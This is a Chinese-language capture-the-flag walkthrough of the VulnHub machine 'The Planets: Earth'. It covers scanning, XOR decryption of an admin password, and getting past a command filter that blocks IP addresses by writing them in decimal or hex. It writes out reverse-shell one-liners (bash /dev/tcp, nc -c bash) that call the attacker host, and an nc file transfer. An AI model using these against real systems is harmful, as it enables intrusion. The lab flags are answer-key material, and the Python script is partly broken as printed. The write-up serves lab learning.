The Planets: Earth Walkthrough

> ### Description
>
> There are two flags on the box: a user and root flag which include an md5 hash.
>
> Difficulty: Easy
>
> This works better with VirtualBox rather than VMware
>
> 下载地址： The Planets: Earth ~ VulnHub

阶段一:信息收集

1. 发现主机

```
netdiscover -i eth0 -r 192.168.1.1/24
```

> 获得目标主机IP：`192.168.1.111`

2. 扫描主机

```
nmap -p- -sV -sC -O -oN nmap.out 192.168.1.111
```

> 获得目标端口信息:
>
> - 22/tcp open ssh
> - 80/tcp open http
> - 443/tcp open ssl/http
>   - DNS1： `earth.local`
>
>   DNS2： `terratest.earth.local`

3. 检查web服务

- `80`

```
http://192.168.1.111
```

> Bad Request (400)

- `443`

```
https://192.168.1.111
```

> Fedora Webserver Test Page

- 在文件`/etc/hosts`中添加DNS信息

```
vim /etc/hosts
```

```
192.168.1.111 earth.local terratest.earth.local
```

阶段二：web信息分析

1. 针对域名`earth.local`

- 浏览器打开网页

```
https://earth.local/
```

> 获得信息：
>
> - Earth Secure Messaging Service
> - 一个信息发送界面，作用未知
> - 三串疑似密文的数字

- 扫描网站目录

```
dirb https://earth.local -o dirb.out_earth.local
```

> - 发现目录：
>
> ```
> https://earth.local/admin
> ```
>
> - 打开该页面，获得信息：
>   - Admin Command Tool
>   - 一个管理员命令工具，需要账户密码登录

2. 针对域名 `terratest.earth.local`

- 浏览器打开网页

  ```
  https://terratest.earth.local
  ```

  > 获得信息：
  >
  > - Test site, please ignore.
  > - 测试页面，无重要信息

- 扫描网站目录

  ```
  dirb https://terratest.earth.local -o dirb.out_terratest.earth.local
  ```

  > 发现目录：
  >
  > - `https://terratest.earth.local/index.html`
  >
  >   > 测试页面，无重要信息
  >
  > - `https://terratest.earth.local/robots.txt`
  >
  >   > - 发现 `robots` 文件
  >   > - 据文件信息可知，存在文件 `/testingnotes.*` ，但扩展名未知

- 枚举 `/testingnotes.*` 文件扩展名
  - 新建文件 `tmp1.txt`

```
vim tmp1.txt
```

```
testingnotes
```

- 使用 `dirb` 枚举扩展名

```
dirb https://terratest.earth.local tmp1.txt -x
/usr/share/wordlists/dirb/extensions_common.txt -o dirb.out_temp1
```

> 可知文件 `testingnotes.*` 的扩展名为 `txt`

- 查看文件 `/testingnotes.txt`

  浏览器打开页面：

```
https://terratest.earth.local/testingnotes.txt
```

> 获得信息：
>
> - 加密算法为 `XOR`
> - 地球已经确认他们收到了我们发送的信息。
> - 使用文件 `testdata.txt` 测试数据加密。即存在文件 `testdata.txt` 。
> - `terra` 为管理员界面的用户名，密码未知。

- 查看文件 `testdata.txt`

  浏览器打开页面：

```
https://terratest.earth.local/testdata.txt
```

> 文件内容为关于地球的一些描述

3. 总结

- 猜测信息发送界面的三串数字即为文件 `testdata.txt` 和 `Message Key` 经过 `XOR` 加密后的密文。
- 猜测 `Message Key` 可能与账户 `terra` 有关。

- 综上，下一步任务为获得`Message Key`。

阶段三：获得 Message Key

1. XOR特性

对一段信息做两次`XOR`运算，可以得到初始值。

```
明文 XOR 密钥 = 密文
密文 XOR 密钥 = 明文
```

2. 编写解密脚本

使用`python`语言编写一个`XOR`解密脚本。新建文件`xor_decryption.py`，并写入以下内容。

```
vim xor_decryptor.py
```

```
import binascii
C1="37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a16
1d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14
001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a41021601
0943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159
210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d
4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"
C2="3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b161107431816081411 4b0a1d
06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a1607
1d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811
430a59061417030d1117430910035506051611120b45"
C3="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c
06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d554046
45031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e
00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b174508
1c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13
080d12145c0d0708410f1d014101011a050d0a084d5409060905070902421 50b141c1d08411e010a0d1b12
0d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a10
06055a01060012405 3360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d10
4c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c5044
5601190108011d451817151a104c080a0e5a"

C=[C1,C2,C3]

testdata="According to radiometric dating estimation and other evidence, Earth formed
over 4.5 billion years ago. Within the first billion years of Earth's history, life
appeared in the oceans and began to affect Earth's atmosphere and surface, leading to
the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence
indicates that life may have arisen as early as 4.1 billion years ago."

a = binascii.b2a_hex(testdata.encode()).decode()

for x in C:
    xor_hex = hex(int(a,16) ^ int(x,16))[2:]

print("================================================================================")
    print("解密后的十六进制数据: ")
    print(xor_hex)
    lenth = len(xor_hex)
    if (lenth % 2) != 0:
        xor_hex=xor_hex.zfill(lengh+1)
    try:
        msg = binascii.a2b_hex(xor_hex).decode()
        print("--------------------------------------------------------------------------
--------")
        print("解密后的文本: ")
        print(msg)
    except:
        print("--------------------------------------------------------------------------
```

```
--------")
        print("解码错误！     无法转为有效文本！")
```

3. 执行解密

```
python3 xor_decryptor.py
```

> 获得信息：
>
> - 密文1和密文2无法解出有效信息
> - 密文3为`earthclimatechangebad4humans`的循环，猜测此为账户`terra`在管理员命令工具页面的密码。

阶段四：获取SHELL

1. 登录管理员命令界面

账户：`terra`

密码：`earthclimatechangebad4humans`

> 这是一个命令行方式的管理命令工具

2. 建立反向SHELL

- 攻击机执行监听：

```
nc -lnp 8888
```

- 靶机管理员命令工具页面发出`TCP`连接：

```
bash -i >& /dev/tcp/192.168.1.150/8888 0>&1
```

> - Remote connections are forbidden
> - 猜测后台存在命令过滤器，过滤规则为禁止执行包含`IP`地址的命令。
>
>> 验证规则：
>>
>> ```
>> 192.168.1.150
>> ls
>> ping 192.168.1.150
>> curl baidu.com
>> ```
>>
>> 验证结果：
>>
>> 只要命令中包含`IP`地址，就会被过滤掉。
>
> - 结论：反向`SHELL`命令的执行需要绕过过滤器。

- 将点分十进制`IP`地址转换为十进制

```
python3
```

```
>>> 192*2**24+168*2**16+1*2**8+150*2**0
3232235926
```

> `IP`地址可以用多种形式来表示。比如`ping 192.168.1.150`与`ping 3232235926`是相同的。
>
> ```
> ┌──(root㉿kali)-[~/earth]
> └─# ping 3232235926
> PING 3232235926 (192.168.1.150) 56(84) bytes of data.
> 64 bytes from 192.168.1.150: icmp_seq=1 ttl=64 time=0.027 ms
> 64 bytes from 192.168.1.150: icmp_seq=2 ttl=64 time=0.028 ms
> 64 bytes from 192.168.1.150: icmp_seq=3 ttl=64 time=0.018 ms
> ^C
> --- 3232235926 ping statistics ---
> 3 packets transmitted, 3 received, 0% packet loss, time 2042ms
> rtt min/avg/max/mdev = 0.018/0.024/0.028/0.004 ms
> ```

- 再次使用管理员命令工具页面发出TCP连接

```
bash -i >& /dev/tcp/3232235926/8888 0>&1
```

或者

```
nc 0xC0A80196 8888 -c bash

成功建立远程SHELL后，获取完整bash。
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
```

- 成功获得反向`SHELL`

阶段五：提权

1. 寻找SUID文件

```
find / -perm -u=s 2>/dev/null
```

> 发现可疑文件`/usr/bin/reset_root`。

2. 分析SUID文件

- 运行该文件：

```
reset_root
```

```
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
```

> 重置失败，触发器不存在

- 将文件拷贝至攻击机
  - 攻击机进行监听

```
nc -lvp 8889 > reset_root
```

  - 靶机发送文件

```
nc 192.168.1.150 8889 < /usr/bin/reset_root
```

- 使用strace进行动态分析
  - 给予运行权限：

    ```
    chmod +x ./reset_root
    ```

  - 运行strace

    ```
    strace ./reset_root
    ```

    > 程序在检查触发器时尝试获取三个文件，但文件均不存在，重设失败。猜测该三个文件即为触发器。
    >
    > ```
    > write(1, "CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET
    > TRIGGERS PRESENT...
    > ) = 38
    > access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or
    > directory)
    > access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (No such file or
    > directory)
    > access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (No such file or
    > directory)
    > write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL
    > TRIGGERS ARE NOT PRESENT.
    > ```

- 在靶机中建立所需的三个文件

  ```
  touch /dev/shm/kHgTFI5G && touch /dev/shm/Zw7bV9U5 && touch /tmp/kcM0Wewe
  ```

3. 提权

- 运行`SUID`文件

  ```
  reset_root
  ```

  > `root`账户重置成功，重新设定`root`密码为`Earth`

- 切换到`root`账户

  ```
  su -
  ```

> 提权成功!

阶段六：寻找FLAG文件

- 搜索文件名中包含`flag`字样的文件

```
find / -name "*flag*.*" -type f
```

> 成功找到两个`flag`文件：
>
> ```
> /root/root_flag.txt
> /var/earth_web/user_flag.txt
> ```

- `user_flag.txt`

```
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
```

- `root_flag.txt`

```
[root_flag_b0da9554d29db2117b02aa8b66ec492e]
```